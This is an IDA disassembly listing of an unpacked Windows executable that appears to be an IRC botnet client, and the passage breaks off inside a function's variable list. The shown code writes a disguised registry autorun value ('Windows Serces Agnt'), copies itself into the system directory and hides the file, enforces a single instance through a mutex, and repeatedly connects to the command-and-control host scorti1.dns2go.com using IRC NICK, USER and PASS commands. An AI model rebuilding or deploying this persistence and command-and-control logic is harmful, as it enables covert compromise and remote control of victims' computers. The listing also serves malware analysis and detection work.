;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	674D7B131CE59448AAD7104EDB694218

; File Name   :	u:\work\674d7b131ce59448aad7104edb694218_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DF000 ( 913408.)
; Section size in file		: 000DF000 ( 913408.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_packed		segment	para public 'CODE' use32
		assume cs:_packed
		;org 401000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401221+358p
					; sub_4188A6+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsSercesA ; "Windows Serces Agnt"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB988	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB9F8	; RegSetValueExA
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB938	; RegDeleteValueA


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9B0	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: sub_4167A0+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: sub_401221+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E91C
		call	dword_4CBA6C	; closesocket
		call	sub_40B583
		call	dword_4CB92C	; WSACleanup
		call	dword_4CB92C	; WSACleanup
		mov	ebx, dword_427080
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB88
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_42707C	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_427078	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_427074	; CreateProcessA
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB80
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_42706C	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: .packed:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB710, eax
		pop	ecx
		retn
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401221	proc near		; CODE XREF: sub_41E1D3+C9p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= dword	ptr -0E4h
var_D8		= dword	ptr -0D8h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_40111D
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB714, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA80	; SetErrorMode
		push	7530h
		push	offset aDoos	; "DOOS"
		push	ebx
		push	ebx
		call	dword_4270AC	; CreateMutexA
		push	eax
		call	dword_4270A8	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	dword_42706C	; ExitProcess


loc_4012A1:				; CODE XREF: sub_401221+76j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_4CB944	; WSAStartup
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	[ebp+var_884], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_42707C	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_4270A4	; GetModuleHandleA
		push	eax
		call	dword_427078	; GetModuleFileNameA
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset dword_429AC8
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: sub_401221+179j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: sub_401221+148j
					; sub_401221+156j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_429AC0
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_4270A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_42709C	; SetFileAttributesA


loc_4013DC:				; CODE XREF: sub_401221+1A7j
		mov	esi, dword_427098
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: sub_401221+209j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_40142C
		call	dword_427094	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: sub_401221+1E5j
		push	1
		pop	edi
		push	3A98h
		call	dword_427080	; Sleep
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: sub_401221+1D6j
					; sub_401221+1E0j ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_42709C	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_E4]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_E4], esi
		mov	[ebp+var_D8], offset byte_43DB88
		mov	[ebp+var_B4], bx
		push	1
		pop	esi
		mov	[ebp+var_B8], esi
		call	dword_427090	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: .packed:off_433094o
		call	dword_42708C	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_429AB4
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_427074	; CreateProcessA
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	dword_427080	; Sleep
		push	[ebp+var_20]
		mov	esi, dword_427070
		call	esi	; CloseHandle
		push	[ebp+var_1C]
		call	esi	; CloseHandle
		call	dword_4CB92C	; WSACleanup
		push	ebx
		call	dword_42706C	; ExitProcess


loc_401516:				; CODE XREF: sub_401221+137j
					; sub_401221+2CBj
		cmp	dword_4DBDF8, 2
		jle	short loc_401562
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4270A8	; WaitForSingleObject
		push	esi
		call	dword_427070	; CloseHandle
		mov	eax, dword_4DBDFC
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	dword_427080	; Sleep
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+8]
		call	dword_427088	; DeleteFileA


loc_401562:				; CODE XREF: sub_401221+2FCj
					; sub_401221+326j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAA4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: sub_401221+347j
					; sub_401221+34Fj
		lea	eax, [ebp+var_A0]
		push	offset dword_429A98
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DB90
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp+var_A0]
		push	offset unk_429A74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_A0]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_419F4D
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_401622
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset unk_429A34
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: sub_401221+3E4j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp+var_A0]
		push	offset dword_429A08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410BFD
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_40169A
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset dword_4299D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: sub_401221+45Cj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: sub_401221+418j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		mov	dword_4CB888, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB79C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7DC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB870, ebx


loc_4016FC:				; CODE XREF: sub_401221+563j
					; sub_401221+56Ej ...
		mov	[ebp+var_4], ebx


loc_4016FF:				; CODE XREF: sub_401221+517j
		push	offset dword_4CB718
		mov	dword_4CB884, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp+var_10], eax
		jz	loc_4017D9
		cmp	dword_4CB884, ebx
		jz	short loc_401726
		dec	[ebp+var_4]


loc_401726:				; CODE XREF: sub_401221+500j
		push	0BB8h
		call	dword_427080	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4016FF
		cmp	[ebp+var_10], 2
		jz	loc_4017D9
		cmp	[ebp+var_C], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: sub_401221+526j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: sub_401221+4F4j
					; sub_401221+51Dj
		call	sub_40B583


loc_4017DE:				; CODE XREF: sub_401221+A1j
					; sub_401221+B1j
		call	dword_4CB92C	; WSACleanup


loc_4017E4:				; CODE XREF: sub_401221+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: sub_401221+4E9p
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9D4	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E928
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA54	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E91C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB97C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA6C	; closesocket
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		call	dword_427080	; Sleep
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD0
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA6C	; closesocket
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB880, bl
		jz	short loc_40199A
		push	offset byte_4CB880
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA6C	; closesocket
		push	1388h
		call	dword_427080	; Sleep


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC	; recv
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	dword_427080	; Sleep
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
